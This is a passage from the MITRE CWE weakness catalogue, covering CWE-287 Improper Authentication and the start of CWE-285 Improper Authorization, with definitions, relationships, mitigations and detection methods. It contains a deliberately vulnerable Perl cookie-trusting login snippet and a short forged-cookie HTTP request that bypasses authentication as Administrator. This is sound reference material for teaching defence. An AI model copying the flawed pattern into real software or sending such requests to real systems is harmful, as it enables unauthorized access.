Section HelpThis MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.978SFP Secondary Cluster: Implementation
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1370ICS Supply Chain: Common Mode Frailties
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1375ICS Engineering (Construction/Deployment): Gaps in Details/Data
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1383ICS Operations (& Maintenance): Compliance/Conformance with Regulatory Requirements
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1412Comprehensive Categorization: Poor Coding Practices
+ Vulnerability Mapping Notes

Usage: DISCOURAGED

(this CWE ID should not be used to map to real-world vulnerabilities)

Reason: Abstraction

Rationale:

This CWE entry is extremely high-level, a Pillar.

Comments:

Consider children or descendants of this entry instead.
+ Content History
+ Submissions
Submission DateSubmitterOrganization
2008-09-09
(CWE 1.0, 2008-09-09)
CWE Content TeamMITRE
+ Modifications
Modification DateModifierOrganization
2009-03-10CWE Content TeamMITRE
updated Relationships
2011-06-01CWE Content TeamMITRE
updated Common_Consequences
2012-05-11CWE Content TeamMITRE
updated Relationships
2012-10-30CWE Content TeamMITRE
updated Potential_Mitigations
2013-02-21CWE Content TeamMITRE
updated Relationships
2014-07-30CWE Content TeamMITRE
updated Relationships
2017-01-19CWE Content TeamMITRE
updated Relationships
2017-11-08CWE Content TeamMITRE
updated Applicable_Platforms, Name, Relationships
2019-01-03CWE Content TeamMITRE
updated Relationships
2020-02-24CWE Content TeamMITRE
updated Applicable_Platforms, Relationships, Type
2022-04-28CWE Content TeamMITRE
updated Relationships
2023-01-31CWE Content TeamMITRE
updated Description
2023-04-27CWE Content TeamMITRE
updated Relationships
2023-06-29CWE Content TeamMITRE
updated Mapping_Notes
2024-02-29
(CWE 4.14, 2024-02-29)
CWE Content TeamMITRE
updated Relationships
+ Previous Entry Names
Change DatePrevious Entry Name
2017-11-08Coding Standards Violation

CWE-287: Improper Authentication

Weakness ID: 287
Vulnerability Mapping: DISCOURAGEDThis CWE ID should not be used to map to real-world vulnerabilities
Abstraction: ClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers. For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts. For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers. For users who wish to see all available information for the CWE/CAPEC entry. For users who want to customize what details are displayed.
×

Edit Custom Filter


+ Description
When an actor claims to have a given identity, the product does not prove or insufficiently proves that the claim is correct.
+ Alternate Terms
authentification:
An alternate term is "authentification", which appears to be most commonly used by people from non-English-speaking countries.
AuthN:
"AuthN" is typically used as an abbreviation of "authentication" within the web application security community. It is also distinct from "AuthZ," which is an abbreviation of "authorization." The use of "Auth" as an abbreviation is discouraged, since it could be used for either authentication or authorization.
AuthC:
"AuthC" is used as an abbreviation of "authentication," but it appears to used less frequently than "AuthN."
+ Relationships
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Research Concepts" (CWE-1000)
NatureTypeIDName
ChildOfPillarPillar - a weakness that is the most abstract type of weakness and represents a theme for all class/base/variant weaknesses related to it. A Pillar is different from a Category as a Pillar is still technically a type of weakness that describes a mistake, while a Category represents a common characteristic used to group related things.284Improper Access Control
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.295Improper Certificate Validation
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.306Missing Authentication for Critical Function
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.645Overly Restrictive Account Lockout Mechanism
ParentOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.1390Weak Authentication
CanFollowBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.613Insufficient Session Expiration
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Weaknesses for Simplified Mapping of Published Vulnerabilities" (CWE-1003)
NatureTypeIDName
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.290Authentication Bypass by Spoofing
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.294Authentication Bypass by Capture-replay
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.295Improper Certificate Validation
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.306Missing Authentication for Critical Function
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.307Improper Restriction of Excessive Authentication Attempts
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.521Weak Password Requirements
ParentOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.522Insufficiently Protected Credentials
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.640Weak Password Recovery Mechanism for Forgotten Password
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.798Use of Hard-coded Credentials
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Architectural Concepts" (CWE-1008)
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1010Authenticate Actors
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "CISQ Data Protection Measures" (CWE-1340)
NatureTypeIDName
ChildOfPillarPillar - a weakness that is the most abstract type of weakness and represents a theme for all class/base/variant weaknesses related to it. A Pillar is different from a Category as a Pillar is still technically a type of weakness that describes a mistake, while a Category represents a common characteristic used to group related things.284Improper Access Control
+ Modes Of Introduction
Section HelpThe different Modes of Introduction provide information about how and when this weakness may be introduced. The Phase identifies a point in the life cycle at which introduction may occur, while the Note provides a typical scenario related to introduction during the given phase.
PhaseNote
Architecture and Design
ImplementationREALIZATION: This weakness is caused during implementation of an architectural security tactic.
+ Applicable Platforms
Section HelpThis listing shows possible areas for which the given weakness could appear. These may be for specific named Languages, Operating Systems, Architectures, Paradigms, Technologies, or a class of such platforms. The platform is listed along with how frequently the given weakness appears for that instance.

Languages

Class: Not Language-Specific (Undetermined Prevalence)

Technologies

Class: ICS/OT (Often Prevalent)

+ Common Consequences
Section HelpThis table specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.
ScopeImpactLikelihood
Integrity
Confidentiality
Availability
Access Control

Technical Impact: Read Application Data; Gain Privileges or Assume Identity; Execute Unauthorized Code or Commands

This weakness can lead to the exposure of resources or functionality to unintended actors, possibly providing attackers with sensitive information or even execute arbitrary code.
+ Likelihood Of Exploit
High
+ Demonstrative Examples

Example 1

The following code intends to ensure that the user is already logged in. If not, the code performs authentication with the user-provided username and password. If successful, it sets the loggedin and user cookies to "remember" that the user has already logged in. Finally, the code performs administrator tasks if the logged-in user has the "Administrator" username, as recorded in the user cookie.

(bad code)
Example Language: Perl 
my $q = new CGI;

if ($q->cookie('loggedin') ne "true") {
if (! AuthenticateUser($q->param('username'), $q->param('password'))) {
ExitError("Error: you need to log in first");
}
else {
# Set loggedin and user cookies.
$q->cookie(
-name => 'loggedin',
-value => 'true'
);

$q->cookie(
-name => 'user',
-value => $q->param('username')
);
}
}

if ($q->cookie('user') eq "Administrator") {
DoAdministratorTasks();
}

Unfortunately, this code can be bypassed. The attacker can set the cookies independently so that the code does not check the username and password. The attacker could do this with an HTTP request containing headers such as:

(attack code)
 
GET /cgi-bin/vulnerable.cgi HTTP/1.1
Cookie: user=Administrator
Cookie: loggedin=true

[body of request]

By setting the loggedin cookie to "true", the attacker bypasses the entire authentication check. By using the "Administrator" value in the user cookie, the attacker also gains privileges to administer the software.

Example 2

In January 2009, an attacker was able to gain administrator access to a Twitter server because the server did not restrict the number of login attempts [REF-236]. The attacker targeted a member of Twitter's support team and was able to successfully guess the member's password using a brute force attack by guessing a large number of common words. After gaining access as the member of the support staff, the attacker used the administrator panel to gain access to 33 accounts that belonged to celebrities and politicians. Ultimately, fake Twitter messages were sent that appeared to come from the compromised accounts.

Example 2 References:
[REF-236] Kim Zetter. "Weak Password Brings 'Happiness' to Twitter Hacker". 2009-01-09. <https://www.wired.com/2009/01/professed-twitt/>. URL validated: 2023-04-07.

Example 3

In 2022, the OT:ICEFALL study examined products by 10 different Operational Technology (OT) vendors. The researchers reported 56 vulnerabilities and said that the products were "insecure by design" [REF-1283]. If exploited, these vulnerabilities often allowed adversaries to change how the products operated, ranging from denial of service to changing the code that the products executed. Since these products were often used in industries such as power, electrical, water, and others, there could even be safety implications.

Multiple vendors did not use any authentication or used client-side authentication for critical functionality in their OT products.

+ Observed Examples
ReferenceDescription
Chat application skips validation when Central Authentication Service (CAS) is enabled, effectively removing the second factor from two-factor authentication
Python-based authentication proxy does not enforce password authentication during the initial handshake, allowing the client to bypass authentication by specifying a 'None' authentication type.
Chain: Web UI for a Python RPC framework does not use regex anchors to validate user login emails (CWE-777), potentially allowing bypass of OAuth (CWE-1390).
TCP-based protocol in Programmable Logic Controller (PLC) has no authentication.
Condition Monitor uses a protocol that does not require authentication.
Safety Instrumented System uses proprietary TCP protocols with no authentication.
Distributed Control System (DCS) uses a protocol that has no authentication.
SCADA system only uses client-side authentication, allowing adversaries to impersonate other users.
Chain: Python-based HTTP Proxy server uses the wrong boolean operators (CWE-480) causing an incorrect comparison (CWE-697) that identifies an authN failure if all three conditions are met instead of only one, allowing bypass of the proxy authentication (CWE-1390)
Chain: Cloud computing virtualization platform does not require authentication for upload of a tar format file (CWE-306), then uses .. path traversal sequences (CWE-23) in the file to access unexpected files, as exploited in the wild per CISA KEV.
IT management product does not perform authentication for some REST API requests, as exploited in the wild per CISA KEV.
Firmware for a WiFi router uses a hard-coded password for a BusyBox shell, allowing bypass of authentication through the UART port
Bluetooth speaker does not require authentication for the debug functionality on the UART port, allowing root shell access
Default setting in workflow management product allows all API requests without authentication, as exploited in the wild per CISA KEV.
Stack-based buffer overflows in SFK for wifi chipset used for IoT/embedded devices, as exploited in the wild per CISA KEV.
Mail server does not properly check an access token before executing a Powershell command, as exploited in the wild per CISA KEV.
Chain: user is not prompted for a second authentication factor (CWE-287) when changing the case of their username (CWE-178), as exploited in the wild per CISA KEV.
Authentication bypass by appending specific parameters and values to a URI, as exploited in the wild per CISA KEV.
Mail server does not generate a unique key during installation, as exploited in the wild per CISA KEV.
LDAP Go package allows authentication bypass using an empty password, causing an unauthenticated LDAP bind
login script for guestbook allows bypassing authentication by setting a "login_ok" parameter to 1.
admin script allows authentication bypass by setting a cookie value to "LOGGEDIN".
VOIP product allows authentication bypass using 127.0.0.1 in the Host header.
product uses default "Allow" action, instead of default deny, leading to authentication bypass.
chain: redirect without exit (CWE-698) leads to resultant authentication bypass.
product does not restrict access to a listening port for a critical service, allowing authentication to be bypassed.
product does not properly implement a security-related configuration setting, allowing authentication bypass.
authentication routine returns "nil" instead of "false" in some situations, allowing authentication bypass using an invalid username.
authentication update script does not properly handle when admin does not select any authentication modules, allowing authentication bypass.
use of LDAP authentication with anonymous binds causes empty password to result in successful authentication
product authentication succeeds if user-provided MD5 hash matches the hash in its database; this can be subjected to replay attacks.
chain: product generates predictable MD5 hashes using a constant value combined with username, allowing authentication bypass.
+ Potential Mitigations

Phase: Architecture and Design

Strategy: Libraries or Frameworks

Use an authentication framework or library such as the OWASP ESAPI Authentication feature.
+ Detection Methods

Automated Static Analysis

Automated static analysis is useful for detecting certain types of authentication. A tool may be able to analyze related configuration files, such as .htaccess in Apache web servers, or detect the usage of commonly-used authentication libraries.

Generally, automated static analysis tools have difficulty detecting custom authentication schemes. In addition, the software's design may include some functionality that is accessible to any user and does not require an established identity; an automated technique that detects the absence of authentication may report false positives.

Effectiveness: Limited

Manual Static Analysis

This weakness can be detected using tools and techniques that require manual (human) analysis, such as penetration testing, threat modeling, and interactive tools that allow the tester to record and modify an active session.

Manual static analysis is useful for evaluating the correctness of custom authentication mechanisms.

Effectiveness: High

Note: These may be more effective than strictly automated techniques. This is especially the case with weaknesses that are related to design and business rules.

Manual Static Analysis - Binary or Bytecode

According to SOAR, the following detection techniques may be useful:

Cost effective for partial coverage:
  • Binary / Bytecode disassembler - then use manual analysis for vulnerabilities & anomalies

Effectiveness: SOAR Partial

Dynamic Analysis with Automated Results Interpretation

According to SOAR, the following detection techniques may be useful:

Cost effective for partial coverage:
  • Web Application Scanner
  • Web Services Scanner
  • Database Scanners

Effectiveness: SOAR Partial

Dynamic Analysis with Manual Results Interpretation

According to SOAR, the following detection techniques may be useful:

Cost effective for partial coverage:
  • Fuzz Tester
  • Framework-based Fuzzer

Effectiveness: SOAR Partial

Manual Static Analysis - Source Code

According to SOAR, the following detection techniques may be useful:

Cost effective for partial coverage:
  • Manual Source Code Review (not inspections)

Effectiveness: SOAR Partial

Automated Static Analysis - Source Code

According to SOAR, the following detection techniques may be useful:

Cost effective for partial coverage:
  • Source code Weakness Analyzer
  • Context-configured Source Code Weakness Analyzer

Effectiveness: SOAR Partial

Automated Static Analysis

According to SOAR, the following detection techniques may be useful:

Cost effective for partial coverage:
  • Configuration Checker

Effectiveness: SOAR Partial

Architecture or Design Review

According to SOAR, the following detection techniques may be useful:

Highly cost effective:
  • Inspection (IEEE 1028 standard) (can apply to requirements, design, source code, etc.)
  • Formal Methods / Correct-By-Construction

Effectiveness: High

+ Functional Areas
  • Authentication
+ Memberships
Section HelpThis MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
NatureTypeIDName
MemberOfViewView - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries).635Weaknesses Originally Used by NVD from 2008 to 2016
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.718OWASP Top Ten 2007 Category A7 - Broken Authentication and Session Management
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.724OWASP Top Ten 2004 Category A3 - Broken Authentication and Session Management
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.812OWASP Top Ten 2010 Category A3 - Broken Authentication and Session Management
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.930OWASP Top Ten 2013 Category A2 - Broken Authentication and Session Management
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.947SFP Secondary Cluster: Authentication Bypass
MemberOfViewView - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries).1003Weaknesses for Simplified Mapping of Published Vulnerabilities
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1028OWASP Top Ten 2017 Category A2 - Broken Authentication
MemberOfViewView - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries).1200Weaknesses in the 2019 CWE Top 25 Most Dangerous Software Errors
MemberOfViewView - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries).1337Weaknesses in the 2021 CWE Top 25 Most Dangerous Software Weaknesses
MemberOfViewView - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries).1350Weaknesses in the 2020 CWE Top 25 Most Dangerous Software Weaknesses
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1353OWASP Top Ten 2021 Category A07:2021 - Identification and Authentication Failures
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1364ICS Communications: Zone Boundary Failures
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1368ICS Dependencies (& Architecture): External Digital Systems
MemberOfViewView - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries).1387Weaknesses in the 2022 CWE Top 25 Most Dangerous Software Weaknesses
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1396Comprehensive Categorization: Access Control
MemberOfViewView - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries).1425Weaknesses in the 2023 CWE Top 25 Most Dangerous Software Weaknesses
+ Vulnerability Mapping Notes

Usage: DISCOURAGED

(this CWE ID should not be used to map to real-world vulnerabilities)

Reason: Frequent Misuse

Rationale:

This CWE entry might be misused when lower-level CWE entries are likely to be applicable. It is a level-1 Class (i.e., a child of a Pillar).

Comments:

Consider children or descendants, beginning with CWE-1390: Weak Authentication or CWE-306: Missing Authentication for Critical Function.
Suggestions:
CWE-IDComment
CWE-1390Weak Authentication
CWE-306Missing Authentication for Critical Function
+ Notes

Relationship

This can be resultant from SQL injection vulnerabilities and other issues.

Maintenance

The Taxonomy_Mappings to ISA/IEC 62443 were added in CWE 4.10, but they are still under review and might change in future CWE versions. These draft mappings were performed by members of the "Mapping CWE to 62443" subgroup of the CWE-CAPEC ICS/OT Special Interest Group (SIG), and their work is incomplete as of CWE 4.10. The mappings are included to facilitate discussion and review by the broader ICS/OT community, and they are likely to change in future CWE versions.
+ Taxonomy Mappings
Mapped Taxonomy NameNode IDFitMapped Node Name
PLOVERAuthentication Error
OWASP Top Ten 2007A7CWE More SpecificBroken Authentication and Session Management
OWASP Top Ten 2004A3CWE More SpecificBroken Authentication and Session Management
WASC1Insufficient Authentication
ISA/IEC 62443Part 3-3Req SR 1.1
ISA/IEC 62443Part 3-3Req SR 1.2
ISA/IEC 62443Part 4-2Req CR 1.1
ISA/IEC 62443Part 4-2Req CR 1.2
+ References
[REF-236] Kim Zetter. "Weak Password Brings 'Happiness' to Twitter Hacker". 2009-01-09. <https://www.wired.com/2009/01/professed-twitt/>. URL validated: 2023-04-07.
[REF-237] OWASP. "Top 10 2007-Broken Authentication and Session Management". 2007. <http://www.owasp.org/index.php/Top_10_2007-A7>.
[REF-238] OWASP. "Guide to Authentication". <http://www.owasp.org/index.php/Guide_to_Authentication>.
[REF-239] Microsoft. "Authentication". <http://msdn.microsoft.com/en-us/library/aa374735(VS.85).aspx>.
[REF-7] Michael Howard and David LeBlanc. "Writing Secure Code". Chapter 4, "Authentication" Page 109. 2nd Edition. Microsoft Press. 2002-12-04. <https://www.microsoftpressstore.com/store/writing-secure-code-9780735617223>.
[REF-1283] Forescout Vedere Labs. "OT:ICEFALL: The legacy of "insecure by design" and its implications for certifications and risk management". 2022-06-20. <https://www.forescout.com/resources/ot-icefall-report/>.
+ Content History
+ Submissions
Submission DateSubmitterOrganization
2006-07-19
(CWE Draft 3, 2006-07-19)
PLOVER
+ Modifications
Modification DateModifierOrganization
2008-07-01Eric DalciCigital
updated Time_of_Introduction
2008-08-15Veracode
Suggested OWASP Top Ten 2004 mapping
2008-09-08CWE Content TeamMITRE
updated Alternate_Terms, Common_Consequences, Relationships, Relationship_Notes, Taxonomy_Mappings
2008-10-14CWE Content TeamMITRE
updated Relationships
2009-01-12CWE Content TeamMITRE
updated Name
2009-05-27CWE Content TeamMITRE
updated Description, Related_Attack_Patterns
2009-07-27CWE Content TeamMITRE
updated Relationships
2009-10-29CWE Content TeamMITRE
updated Common_Consequences, Observed_Examples
2009-12-28CWE Content TeamMITRE
updated Applicable_Platforms, Common_Consequences, Demonstrative_Examples, Detection_Factors, Likelihood_of_Exploit, References
2010-02-16CWE Content TeamMITRE
updated Alternate_Terms, Detection_Factors, Potential_Mitigations, References, Relationships, Taxonomy_Mappings
2010-06-21CWE Content TeamMITRE
updated Relationships
2011-03-29CWE Content TeamMITRE
updated Relationships
2011-06-01CWE Content TeamMITRE
updated Common_Consequences
2012-05-11CWE Content TeamMITRE
updated Relationships
2013-07-17CWE Content TeamMITRE
updated Relationships
2014-02-18CWE Content TeamMITRE
updated Relationships
2014-06-23CWE Content TeamMITRE
updated Relationships
2014-07-30CWE Content TeamMITRE
updated Detection_Factors, Relationships
2015-12-07CWE Content TeamMITRE
updated Relationships
2017-01-19CWE Content TeamMITRE
updated Relationships
2017-05-03CWE Content TeamMITRE
updated Related_Attack_Patterns, Relationships
2017-11-08CWE Content TeamMITRE
updated Demonstrative_Examples, Likelihood_of_Exploit, Modes_of_Introduction, References, Relationships
2018-03-27CWE Content TeamMITRE
updated References, Relationships
2019-01-03CWE Content TeamMITRE
updated Related_Attack_Patterns
2019-06-20CWE Content TeamMITRE
updated Demonstrative_Examples, Related_Attack_Patterns, Relationships
2019-09-19CWE Content TeamMITRE
updated Relationships
2020-02-24CWE Content TeamMITRE
updated Relationships
2020-08-20CWE Content TeamMITRE
updated Relationships
2020-12-10CWE Content TeamMITRE
updated Relationships
2021-03-15CWE Content TeamMITRE
updated Alternate_Terms, Demonstrative_Examples
2021-07-20CWE Content TeamMITRE
updated Relationships
2021-10-28CWE Content TeamMITRE
updated Relationships
2022-06-28CWE Content TeamMITRE
updated Observed_Examples, Relationships
2022-10-13CWE Content TeamMITRE
updated Applicable_Platforms, Demonstrative_Examples, Observed_Examples, References, Relationships
2023-01-31CWE Content TeamMITRE
updated Description, Maintenance_Notes, Observed_Examples, Taxonomy_Mappings
2023-04-27CWE Content TeamMITRE
updated Demonstrative_Examples, References, Relationships
2023-06-29CWE Content TeamMITRE
updated Mapping_Notes, Relationships
2023-10-26CWE Content TeamMITRE
updated Observed_Examples
2024-02-29
(CWE 4.14, 2024-02-29)
CWE Content TeamMITRE
updated Observed_Examples
+ Previous Entry Names
Change DatePrevious Entry Name
2008-04-11Authentication Issues
2009-01-12Insufficient Authentication

CWE-285: Improper Authorization

Weakness ID: 285
Vulnerability Mapping: DISCOURAGEDThis CWE ID should not be used to map to real-world vulnerabilities
Abstraction: ClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers. For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts. For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers. For users who wish to see all available information for the CWE/CAPEC entry. For users who want to customize what details are displayed.
×

Edit Custom Filter


+ Description
The product does not perform or incorrectly performs an authorization check when an actor attempts to access a resource or perform an action.
+ Extended Description

Assuming a user with a given identity, authorization is the process of determining whether that user can access a given resource, based on the user's privileges and any permissions or other access-control specifications that apply to the resource.

When access control checks are not applied consistently - or not at all - users are able to access data or perform actions that they should not be allowed to perform. This can lead to a wide range of problems, including information exposures, denial of service, and arbitrary code execution.

+ Alternate Terms
AuthZ:
"AuthZ" is typically used as an abbreviation of "authorization" within the web application security community. It is distinct from "AuthN" (or, sometimes, "AuthC") which is an abbreviation of "authentication." The use of "Auth" as an abbreviation is discouraged, since it could be used for either authentication or authorization.
+ Relationships
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Research Concepts" (CWE-1000)
NatureTypeIDName
ChildOfPillarPillar - a weakness that is the most abstract type of weakness and represents a theme for all class/base/variant weaknesses related to it. A Pillar is different from a Category as a Pillar is still technically a type of weakness that describes a mistake, while a Category represents a common characteristic used to group related things.284Improper Access Control
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.552Files or Directories Accessible to External Parties
ParentOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.732Incorrect Permission Assignment for Critical Resource
ParentOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.862Missing Authorization
ParentOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.863Incorrect Authorization
ParentOfVariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.926Improper Export of Android Application Components
ParentOfVariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.927Use of Implicit Intent for Sensitive Communication
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.1230Exposure of Sensitive Information Through Metadata
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.1256Improper Restriction of Software Interfaces to Hardware Features
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.1297Unprotected Confidential Information on Device is Accessible by OSAT Vendors
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.1328Security Version Number Mutable to Older Versions
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Architectural Concepts" (CWE-1008)
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1011Authorize Actors
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "CISQ Data Protection Measures" (CWE-1340)
